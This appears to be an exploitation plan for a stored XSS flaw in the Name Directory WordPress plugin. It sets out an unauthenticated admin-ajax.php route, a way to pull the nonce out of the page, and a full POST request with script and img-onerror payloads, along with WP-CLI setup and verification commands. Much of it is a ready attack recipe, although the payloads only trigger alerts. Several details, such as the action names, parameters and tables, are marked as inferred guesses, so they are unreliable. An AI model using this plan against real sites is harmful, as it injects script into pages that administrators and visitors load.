Exploitation Research Plan - CVE-2025-15283

1. Vulnerability Summary

The Name Directory plugin for WordPress (versions <= 1.30.3) contains a stored Cross-Site Scripting (XSS) vulnerability. The flaw exists because the plugin fails to sanitize and escape user-supplied input in the name_directory_name and name_directory_description parameters before storing them in the database and subsequently rendering them on the frontend or backend. Since the vulnerability is accessible to unauthenticated users, an attacker can inject malicious JavaScript that executes when an administrator or visitor views the directory.

2. Attack Vector Analysis

• Endpoint: admin-ajax.php (or potentially a direct POST to a frontend page handling form submissions).
• Vulnerable Action: Likely name_directory_add_entry or a similar AJAX action registered with wp_ajax_nopriv_.
• Parameters:
  • name_directory_name: The name of the entry.
  • name_directory_description: The description of the entry.
  • uri: (Often required by this plugin to identify the directory ID).
• Authentication: None required (Unauthenticated).
• Preconditions: A "Name Directory" must exist, and the plugin must be configured to allow user submissions, or the AJAX handler must be improperly protected by capability checks.

3. Code Flow (Inferred)

1. Entry Point: The plugin registers an AJAX handler:
   add_action('wp_ajax_nopriv_name_directory_add_entry', '..._callback'); (inferred).
2. Processing: The callback function retrieves data from $_POST['name_directory_name'] and $_POST['name_directory_description'].
3. Sink (Storage): The data is passed into a global $wpdb->insert or $wpdb->update call against the wp_name_directory_names table without being passed through sanitize_text_field() or wp_kses().
4. Sink (Output): When the directory is rendered (via the [name_directory] shortcode), the plugin fetches the records and echoes the name and description fields directly without using esc_html() or esc_attr().

4. Nonce Acquisition Strategy

The plugin likely uses wp_localize_script to provide a nonce for frontend submissions.

1. Identify Shortcode: The main shortcode is [name_directory].
2. Setup Page: Create a public page containing this shortcode to force the plugin to enqueue its scripts and nonces.
3. Discovery:
   • Navigate to the created page.
   • Search the HTML source for a localized object. Based on common patterns in this plugin, look for name_directory_vars or NameDirectory_JS.
4. Extraction:
   • Use browser_eval to extract the nonce:
     browser_eval("window.name_directory_vars?.nonce") (inferred).
   • Also, extract the directory ID from the shortcode configuration if needed.

5. Exploitation Strategy

1. Preparation:
   • Use WP-CLI to create a directory: wp name-directory create --title="ExploitDir" (or via the Admin UI).
   • Obtain the Directory ID (e.g., 1).
   • Create a page with [name_directory id="1"].
2. Nonce Retrieval:
   • Use browser_navigate to the page.
   • Execute browser_eval to find the nonce and the AJAX action name.
3. Malicious Submission:
   • Send a POST request to wp-admin/admin-ajax.php.
   • Payload:

     POST /wp-admin/admin-ajax.php HTTP/1.1
     Content-Type: application/x-www-form-urlencoded
     
     action=name_directory_add_entry&
     name_directory_name=<script>alert('XSS_NAME')</script>&
     name_directory_description=<img src=x onerror=alert('XSS_DESC')>&
     directory_id=1&
     _wpnonce=[EXTRACTED_NONCE]
     

4. Trigger:
   • Navigate back to the page containing the [name_directory id="1"] shortcode.
   • The browser should execute the alert payloads.

6. Test Data Setup

1. Plugin Activation: Ensure name-directory is installed and active.
2. Create Directory:

   # This assumes the plugin creates a table. We use WP-CLI to simulate an admin setup.
   wp eval "global \$wpdb; \$wpdb->insert(\"{\$wpdb->prefix}name_directory_directories\", ['title' => 'Vulnerable Directory', 'published' => 1]);"
   

3. Create Exploit Page:

   wp post create --post_type=page --post_title="Directory Page" --post_status=publish --post_content='[name_directory id="1"]'
   

7. Expected Results

• The admin-ajax.php request should return a success response (likely a JSON {"success":true} or a 1).
• The database table wp_name_directory_names (or similar) should contain the record with the raw <script> tags.
• When viewing the "Directory Page", a JavaScript alert should appear.

8. Verification Steps

1. Check Database:

   wp db query "SELECT name, description FROM wp_name_directory_names WHERE name LIKE '%<script>%'"
   

2. Observe Frontend: Use browser_navigate to the "Directory Page" and verify the presence of the injected tags in the DOM.

9. Alternative Approaches

• Admin Context: If the nopriv action is not available, check if the admin-side "Add Entry" page (/wp-admin/admin.php?page=name_directory_add_entry) lacks CSRF protection or fails to sanitize inputs when an admin saves.
• Parameter Polling: If directory_id is not the parameter name, try id, dir_id, or directory. Check the plugin's frontend JavaScript (name-directory/js/name-directory.js) for the exact keys used in the jQuery.post or fetch calls.